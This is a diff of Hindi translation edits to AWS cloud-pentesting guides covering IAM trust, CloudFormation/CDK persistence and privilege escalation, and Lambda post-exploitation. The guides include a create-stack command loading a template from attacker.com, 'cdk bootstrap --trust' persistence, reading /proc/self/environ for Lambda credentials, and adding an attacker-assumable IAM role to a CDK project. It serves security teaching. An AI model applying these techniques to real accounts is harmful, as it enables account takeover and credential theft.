 इस विश्वास को कॉन्फ़िगर करने के लिए, एक **IAM पहचान प्रदाता उत्पन्न किया जाता है (SAML या OAuth)** जो **अन्य प्लेटफ़ॉर्म** पर **विश्वास करेगा**। फिर, कम से कम एक **IAM भूमिका (विश्वास करने वाली) पहचान प्रदाता को सौंपा जाता है**। यदि विश्वसनीय प्लेटफ़ॉर्म से कोई उपयोगकर्ता AWS तक पहुँचता है, तो वह उल्लेखित भूमिका के रूप में पहुँच रहा होगा।
 
@@ -277,13 +277,13 @@ AWS IAM पहचान केंद्र (AWS सिंगल साइन-ऑ
 
 #### AwsSSOInlinePolicy
 
-यह संभव है कि **IAM पहचान केंद्र के माध्यम से बनाई गई भूमिकाओं को इनलाइन नीतियों के माध्यम से अनुमतियाँ दी जाएँ**। जिन भूमिकाओं को दिए गए खातों में **AWS पहचान केंद्र में इनलाइन नीतियाँ** होंगी, उनके पास **`AwsSSOInlinePolicy`** नामक इनलाइन नीति में ये अनुमतियाँ होंगी।
+यह संभव है कि **IAM पहचान केंद्र के माध्यम से बनाई गई भूमिकाओं को इनलाइन नीतियों के माध्यम से अनुमति दी जाए**। उन खातों में बनाई गई भूमिकाएँ जिन्हें **AWS पहचान केंद्र में इनलाइन नीतियाँ दी गई हैं** इनलाइन नीति में ये अनुमतियाँ होंगी जिसे **`AwsSSOInlinePolicy`** कहा जाता है।
 
-इसलिए, भले ही आप **`AwsSSOInlinePolicy`** नामक इनलाइन नीति के साथ 2 भूमिकाएँ देखें, यह **मतलब नहीं है कि इसके पास समान अनुमतियाँ हैं**।
+इसलिए, भले ही आप **`AwsSSOInlinePolicy`** नामक इनलाइन नीति के साथ 2 भूमिकाएँ देखें, यह **नहीं मतलब है कि इसके पास समान अनुमतियाँ हैं**।
 
 ### क्रॉस खाता विश्वास और भूमिकाएँ
 
-**एक उपयोगकर्ता** (विश्वास करने वाला) कुछ नीतियों के साथ एक क्रॉस खाता भूमिका बना सकता है और फिर, **दूसरे उपयोगकर्ता** (विश्वासित) को **अपने खाते तक पहुँचने की अनुमति दे सकता है** लेकिन केवल **नई भूमिका नीतियों में निर्दिष्ट पहुँच के साथ**। इसे बनाने के लिए, बस एक नई भूमिका बनाएँ और क्रॉस खाता भूमिका का चयन करें। क्रॉस-खाता पहुँच के लिए भूमिकाएँ दो विकल्प प्रदान करती हैं। उन AWS खातों के बीच पहुँच प्रदान करना जो आपके पास हैं, और एक खाते के बीच पहुँच प्रदान करना जो आपके पास है और एक तीसरे पक्ष के AWS खाते के बीच।\
+**एक उपयोगकर्ता** (विश्वास करने वाला) कुछ नीतियों के साथ एक क्रॉस खाता भूमिका बना सकता है और फिर, **दूसरे उपयोगकर्ता** (विश्वासित) को **अपने खाते तक पहुँचने की अनुमति दे सकता है** लेकिन केवल **नई भूमिका नीतियों में निर्दिष्ट पहुँच के साथ**। इसे बनाने के लिए, बस एक नई भूमिका बनाएँ और क्रॉस खाता भूमिका का चयन करें। क्रॉस-खाता पहुँच के लिए भूमिकाएँ दो विकल्प प्रदान करती हैं। उन AWS खातों के बीच पहुँच प्रदान करना जो आपके हैं, और एक खाते के बीच पहुँच प्रदान करना जो आपके हैं और एक तीसरे पक्ष के AWS खाते के बीच।\
 यह अनुशंसा की जाती है कि **विश्वासित उपयोगकर्ता को निर्दिष्ट करें और कुछ सामान्य चीज़ न डालें** क्योंकि यदि नहीं, तो अन्य प्रमाणित उपयोगकर्ता जैसे संघीय उपयोगकर्ता भी इस विश्वास का दुरुपयोग कर सकेंगे।
 
 ### AWS सरल AD
@@ -304,10 +304,10 @@ AWS IAM पहचान केंद्र (AWS सिंगल साइन-ऑ
 
 ### अन्य IAM विकल्प
 
-- आप **पासवर्ड नीति सेटिंग** विकल्प जैसे न्यूनतम लंबाई और पासवर्ड आवश्यकताएँ सेट कर सकते हैं।
+- आप **पासवर्ड नीति सेटिंग** विकल्प जैसे न्यूनतम लंबाई और पासवर्ड आवश्यकताओं को सेट कर सकते हैं।
 - आप **"क्रेडेंशियल रिपोर्ट" डाउनलोड कर सकते हैं** जिसमें वर्तमान क्रेडेंशियल्स के बारे में जानकारी होती है (जैसे उपयोगकर्ता निर्माण समय, क्या पासवर्ड सक्षम है...)। आप एक क्रेडेंशियल रिपोर्ट हर **चार घंटे** में एक बार उत्पन्न कर सकते हैं।
 
-AWS पहचान और पहुँच प्रबंधन (IAM) **AWS के सभी पर बारीक पहुँच नियंत्रण** प्रदान करता है। IAM के साथ, आप निर्दिष्ट कर सकते हैं **कौन कौन सी सेवाओं और संसाधनों तक पहुँच सकता है**, और किन शर्तों के तहत। IAM नीतियों के साथ, आप अपनी कार्यबल और प्रणालियों के लिए अनुमतियों का प्रबंधन करते हैं ताकि **कम से कम विशेषाधिकार अनुमतियाँ** सुनिश्चित की जा सकें।
+AWS पहचान और पहुँच प्रबंधन (IAM) **AWS के सभी क्षेत्रों में बारीक पहुँच नियंत्रण** प्रदान करता है। IAM के साथ, आप निर्दिष्ट कर सकते हैं **कौन कौन सी सेवाओं और संसाधनों तक पहुँच सकता है**, और किन शर्तों के तहत। IAM नीतियों के साथ, आप अपनी कार्यबल और प्रणालियों के लिए अनुमतियों का प्रबंधन करते हैं ताकि **कम से कम विशेषाधिकार अनुमतियाँ** सुनिश्चित की जा सकें।
 
 ### IAM ID उपसर्ग
 
@@ -377,7 +377,7 @@ aws --profile acc2 ...
 ```
 यदि आप इसके लिए कुछ **समान** खोज रहे हैं लेकिन **ब्राउज़र** के लिए, तो आप **विस्तार** [**AWS Extend Switch Roles**](https://chrome.google.com/webstore/detail/aws-extend-switch-roles/jpmkfafbacpgapdghgdpembnojdlgkdl?hl=en) देख सकते हैं।
 
-#### अस्थायी क्रेडेंशियल्स को स्वचालित करना
+#### अस्थायी क्रेडेंशियल्स का स्वचालन
 
 यदि आप एक ऐसे एप्लिकेशन का शोषण कर रहे हैं जो अस्थायी क्रेडेंशियल्स उत्पन्न करता है, तो हर कुछ मिनटों में जब वे समाप्त होते हैं, तो उन्हें अपने टर्मिनल में अपडेट करना थकाऊ हो सकता है। इसे कॉन्फ़िग फ़ाइल में `credential_process` निर्देश का उपयोग करके ठीक किया जा सकता है। उदाहरण के लिए, यदि आपके पास कुछ कमजोर वेबऐप है, तो आप कर सकते हैं:
 ```toml

src/pentesting-cloud/aws-security/aws-persistence/aws-cloudformation-persistence.md

@@ -12,7 +12,7 @@
 
 ### CDK Bootstrap Stack
 
-AWS CDK एक CFN स्टैक को `CDKToolkit` के रूप में तैनात करता है। यह स्टैक एक पैरामीटर `TrustedAccounts` का समर्थन करता है जो बाहरी खातों को पीड़ित खाते में CDK परियोजनाओं को तैनात करने की अनुमति देता है। एक हमलावर इसका दुरुपयोग करके पीड़ित खाते में अनिश्चितकालीन पहुँच प्राप्त कर सकता है, या तो AWS cli का उपयोग करके स्टैक को पैरामीटर के साथ फिर से तैनात करके, या AWS CDK cli का उपयोग करके।
+AWS CDK एक CFN स्टैक को `CDKToolkit` के रूप में तैनात करता है। यह स्टैक एक पैरामीटर `TrustedAccounts` का समर्थन करता है जो बाहरी खातों को पीड़ित खाते में CDK परियोजनाओं को तैनात करने की अनुमति देता है। एक हमलावर इसका दुरुपयोग करके पीड़ित खाते में अनिश्चितकालीन पहुँच प्राप्त कर सकता है, या तो पैरामीटर के साथ स्टैक को फिर से तैनात करने के लिए AWS cli का उपयोग करके, या AWS CDK cli का उपयोग करके।
 ```bash
 # CDK
 cdk bootstrap --trust 1234567890

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/README.md

@@ -14,11 +14,11 @@
 
 Lambda रनटाइम पर क्रेडेंशियल्स को इंजेक्ट करने के लिए पर्यावरण चर का उपयोग करता है। यदि आप उन्हें एक्सेस प्राप्त कर सकते हैं (जैसे `/proc/self/environ` को पढ़कर या स्वयं कमजोर फ़ंक्शन का उपयोग करके), तो आप उनका उपयोग कर सकते हैं। ये डिफ़ॉल्ट चर नाम `AWS_SESSION_TOKEN`, `AWS_SECRET_ACCESS_KEY`, और `AWS_ACCESS_KEY_ID` में रहते हैं।
 
-डिफ़ॉल्ट रूप से, इनका क्लाउडवॉच लॉग समूह (जिसका नाम `AWS_LAMBDA_LOG_GROUP_NAME` में संग्रहीत है) में लिखने का एक्सेस होगा, साथ ही मनचाहे लॉग समूह बनाने का भी, हालांकि लैम्ब्डा फ़ंक्शंस अक्सर उनके इच्छित उपयोग के आधार पर अधिक अनुमतियाँ प्राप्त करते हैं।
+डिफ़ॉल्ट रूप से, इनका क्लाउडवॉच लॉग समूह (जिसका नाम `AWS_LAMBDA_LOG_GROUP_NAME` में संग्रहीत है) में लिखने का अधिकार होगा, साथ ही मनचाहे लॉग समूह बनाने का भी, हालाँकि Lambda फ़ंक्शंस अक्सर उनके इच्छित उपयोग के आधार पर अधिक अनुमतियाँ प्राप्त करते हैं।
 
 ### दूसरों के Lambda URL अनुरोध चुराएं
 
-यदि एक हमलावर किसी तरह Lambda के अंदर RCE प्राप्त कर लेता है, तो वह अन्य उपयोगकर्ताओं के HTTP अनुरोधों को चुरा सकेगा। यदि अनुरोधों में संवेदनशील जानकारी (कुकीज़, क्रेडेंशियल्स...) होती है, तो वह उन्हें चुरा सकेगा।
+यदि एक हमलावर किसी तरह Lambda के अंदर RCE प्राप्त करने में सफल हो जाता है, तो वह अन्य उपयोगकर्ताओं के HTTP अनुरोधों को Lambda के लिए चुरा सकेगा। यदि अनुरोधों में संवेदनशील जानकारी (कुकीज़, क्रेडेंशियल्स...) होती है, तो वह उन्हें चुरा सकेगा।
 
 {{#ref}}
 aws-warm-lambda-persistence.md
@@ -26,7 +26,7 @@ aws-warm-lambda-persistence.md
 
 ### दूसरों के Lambda URL अनुरोध और एक्सटेंशन अनुरोध चुराएं
 
-Lambda लेयर्स का दुरुपयोग करते हुए एक्सटेंशन का दुरुपयोग करना भी संभव है और Lambda में स्थायी रहना, लेकिन साथ ही अनुरोधों को चुराना और संशोधित करना भी संभव है।
+Lambda लेयर्स का दुरुपयोग करते हुए एक्सटेंशन का दुरुपयोग करना और Lambda में स्थायी रहना संभव है, लेकिन अनुरोधों को चुराना और संशोधित करना भी संभव है।
 
 {{#ref}}
 ../../aws-persistence/aws-lambda-persistence/aws-abusing-lambda-extensions.md

src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudformation-privesc/README.md

@@ -12,7 +12,7 @@ cloudformation के बारे में अधिक जानकारी
 
 ### `iam:PassRole`, `cloudformation:CreateStack`
 
-इन अनुमतियों के साथ एक हमलावर **अधिकारों को बढ़ा सकता है** एक **CloudFormation स्टैक** को एक कस्टम टेम्पलेट के साथ तैयार करके, जो उनके सर्वर पर होस्ट किया गया है, ताकि **निर्धारित भूमिका के अनुमतियों के तहत क्रियाएँ निष्पादित की जा सकें:**
+इन अनुमतियों के साथ एक हमलावर **अधिकारों को बढ़ा सकता है** एक **CloudFormation स्टैक** को कस्टम टेम्पलेट के साथ तैयार करके, जो उनके सर्वर पर होस्ट किया गया है, ताकि **निर्धारित भूमिका के अनुमतियों के तहत क्रियाएँ निष्पादित की जा सकें:**
 ```bash
 aws cloudformation create-stack --stack-name <stack-name> \
 --template-url http://attacker.com/attackers.template \
@@ -37,7 +37,7 @@ aws cloudformation update-stack \
 --capabilities CAPABILITY_IAM \
 --region eu-west-1
 ```
-`cloudformation:SetStackPolicy` अनुमति का उपयोग **अपने लिए `UpdateStack` अनुमति देने** के लिए किया जा सकता है और हमले को अंजाम दिया जा सकता है।
+`cloudformation:SetStackPolicy` अनुमति का उपयोग **अपने लिए `UpdateStack` अनुमति देने** के लिए किया जा सकता है और हमले को अंजाम देने के लिए।
 
 **संभावित प्रभाव:** क्लाउडफॉर्मेशन सेवा भूमिका में प्रिवेस्क।
 
@@ -45,7 +45,7 @@ aws cloudformation update-stack \
 
 यदि आपके पास यह अनुमति है लेकिन **कोई `iam:PassRole` नहीं है**, तो आप अभी भी **उपयोग किए गए स्टैक्स को अपडेट** कर सकते हैं और **IAM भूमिकाओं का दुरुपयोग कर सकते हैं जो पहले से ही संलग्न हैं**। शोषण उदाहरण के लिए पिछले अनुभाग की जांच करें (बस अपडेट में कोई भूमिका न बताएं)।
 
-`cloudformation:SetStackPolicy` अनुमति का उपयोग **अपने लिए `UpdateStack` अनुमति देने** के लिए किया जा सकता है और हमले को अंजाम दिया जा सकता है।
+`cloudformation:SetStackPolicy` अनुमति का उपयोग **अपने लिए `UpdateStack` अनुमति देने** के लिए किया जा सकता है और हमले को अंजाम देने के लिए।
 
 **संभावित प्रभाव:** क्लाउडफॉर्मेशन सेवा भूमिका में प्रिवेस्क जो पहले से ही संलग्न है।
 
@@ -85,7 +85,7 @@ aws cloudformation describe-stacks \
 
 ### (`cloudformation:CreateChangeSet`, `cloudformation:ExecuteChangeSet`) | `cloudformation:SetStackPolicy`)
 
-यह पिछले तरीके की तरह है बिना **IAM भूमिकाएँ** पास किए, इसलिए आप बस **पहले से जुड़े हुए को दुरुपयोग** कर सकते हैं, बस पैरामीटर को संशोधित करें:
+यह पिछले तरीके की तरह है बिना **IAM भूमिकाएँ** पास किए, इसलिए आप बस **पहले से जुड़े हुए का दुरुपयोग** कर सकते हैं, बस पैरामीटर को संशोधित करें:
 ```
 --change-set-type UPDATE
 ```
@@ -99,15 +99,15 @@ aws cloudformation describe-stacks \
 
 ### `cloudformation:UpdateStackSet`
 
-एक हमलावर इस अनुमति का दुरुपयोग बिना पासरोल अनुमति के स्टैकसेट्स को अपडेट करने के लिए कर सकता है ताकि जुड़े क्लाउडफॉर्मेशन भूमिकाओं का दुरुपयोग किया जा सके।
+एक हमलावर इस अनुमति का दुरुपयोग बिना पासरोल अनुमति के स्टैकसेट्स को अपडेट करने के लिए कर सकता है ताकि संलग्न क्लाउडफॉर्मेशन भूमिकाओं का दुरुपयोग किया जा सके।
 
-**संभावित प्रभाव:** जुड़े क्लाउडफॉर्मेशन भूमिकाओं के लिए प्रिवेस्क।
+**संभावित प्रभाव:** संलग्न क्लाउडफॉर्मेशन भूमिकाओं के लिए प्रिवेस्क।
 
 ## AWS CDK
 
 AWS cdk एक टूलकिट है जो उपयोगकर्ताओं को उनके परिचित भाषाओं में अपने बुनियादी ढांचे को कोड के रूप में परिभाषित करने की अनुमति देता है, साथ ही अनुभागों का आसानी से पुन: उपयोग करने की सुविधा भी देता है। CDK फिर उच्च-स्तरीय कोड (जैसे पायथन) को क्लाउडफॉर्मेशन टेम्पलेट्स (yaml या json) में परिवर्तित करता है।
 
-CDK का उपयोग करने के लिए, एक प्रशासनिक उपयोगकर्ता को पहले खाते को बूटस्ट्रैप करना होगा, जो कई IAM भूमिकाएँ बनाता है, जिसमें *exec role* शामिल है, जिसके पास \*/\* अनुमतियाँ होती हैं। ये भूमिकाएँ नामकरण संरचना `cdk-<qualifier>-<name>-<account-id>-<region>` का पालन करती हैं। बूटस्ट्रैपिंग को प्रति क्षेत्र प्रति खाते एक बार किया जाना चाहिए।
+CDK का उपयोग करने के लिए, एक प्रशासनिक उपयोगकर्ता को पहले खाते को बूटस्ट्रैप करना होगा, जो कई IAM भूमिकाएँ बनाता है, जिसमें *exec role* शामिल है, जिसमें \*/\* अनुमतियाँ होती हैं। ये भूमिकाएँ नामकरण संरचना `cdk-<qualifier>-<name>-<account-id>-<region>` का पालन करती हैं। बूटस्ट्रैपिंग को प्रति क्षेत्र प्रति खाते एक बार किया जाना चाहिए।
 
 डिफ़ॉल्ट रूप से, CDK उपयोगकर्ताओं को CDK का उपयोग करने के लिए आवश्यक भूमिकाओं की सूची बनाने की अनुमति नहीं होती है, जिसका अर्थ है कि आपको उन्हें मैन्युअल रूप से निर्धारित करना होगा। यदि आप किसी डेवलपर की मशीन या किसी CI/CD नोड से समझौता करते हैं, तो इन भूमिकाओं को ग्रहण किया जा सकता है ताकि आप CFN टेम्पलेट्स को तैनात करने की क्षमता प्राप्त कर सकें, `cfn-exec` भूमिका का उपयोग करके CFN को किसी भी संसाधन को तैनात करने की अनुमति देने के लिए, जिससे खाते का पूर्ण समझौता हो जाता है।
 
@@ -117,7 +117,7 @@ CDK का उपयोग करने के लिए, एक प्रशा
 
 यदि आप किसी मशीन पर हैं जिसका उपयोग CDK परियोजनाओं को बनाने और तैनात करने के लिए किया गया है, तो आप उन्हें परियोजनाओं की मूल निर्देशिका में `cdk.out/manafest.json` से खींच सकते हैं।
 
-आप यह भी अनुमान लगा सकते हैं कि वे क्या हैं। `qualifier` एक स्ट्रिंग है जो भूमिकाओं में जोड़ी जाती है जिससे एक साथ कई CDK बूटस्ट्रैप के उदाहरण तैनात किए जा सकें, हालाँकि डिफ़ॉल्ट मान को हार्ड-कोड किया गया है `hnb659fds`।
+आप यह अनुमान लगाने में भी सक्षम हो सकते हैं कि वे क्या हैं। `qualifier` एक स्ट्रिंग है जो भूमिकाओं में जोड़ी जाती है जिससे एक साथ कई CDK बूटस्ट्रैप के उदाहरणों को तैनात किया जा सके, हालाँकि डिफ़ॉल्ट मान को हार्ड-कोड किया गया है `hnb659fds`।
 ```
 # Defaults
 cdk-hnb659fds-cfn-exec-role-<account-id>-<region>
@@ -128,7 +128,7 @@ cdk-hnb659fds-lookup-role-<account-id>-<region>
 ```
 ### परियोजना स्रोत में दुर्भावनापूर्ण कोड जोड़ना
 
-यदि आप परियोजना स्रोत में लिख सकते हैं, लेकिन इसे स्वयं तैनात नहीं कर सकते (उदाहरण के लिए, डेवलपर कोड को CI/CD के माध्यम से तैनात करता है, न कि स्थानीय मशीन से), तो आप स्टैक में दुर्भावनापूर्ण संसाधन जोड़कर वातावरण को समझौता कर सकते हैं। निम्नलिखित एक IAM भूमिका जोड़ता है जिसे एक हमलावर खाते द्वारा ग्रहण किया जा सकता है एक python CDK परियोजना में।
+यदि आप परियोजना स्रोत में लिख सकते हैं, लेकिन इसे स्वयं तैनात नहीं कर सकते (उदाहरण के लिए, डेवलपर कोड को CI/CD के माध्यम से तैनात करता है, न कि स्थानीय मशीन से), तो आप स्टैक में दुर्भावनापूर्ण संसाधन जोड़कर वातावरण को समझौता कर सकते हैं। निम्नलिखित एक IAM भूमिका जोड़ता है जिसे एक हमलावर खाते द्वारा ग्रहण किया जा सकता है, एक python CDK परियोजना में।
 ```python
 class CdkTestStack(Stack):
 def __init__(self, scope: Construct, construct_id: str, **kwargs) -> None:

src/pentesting-cloud/aws-security/aws-services/aws-cloudformation-and-codestar-enum.md

@@ -31,7 +31,7 @@ aws cloudformation list-stack-set-operation-results --stack-set-name <name> --op
 ```
 ### Privesc
 
-In the following page you can check how to **cloudformation अनुमतियों का दुरुपयोग करके विशेषाधिकार बढ़ाना**:
+In the following page you can check how to **cloudformation अनुमतियों का दुरुपयोग करके विशेषाधिकार बढ़ाएं**:
 
 {{#ref}}
 ../aws-privilege-escalation/aws-cloudformation-privesc/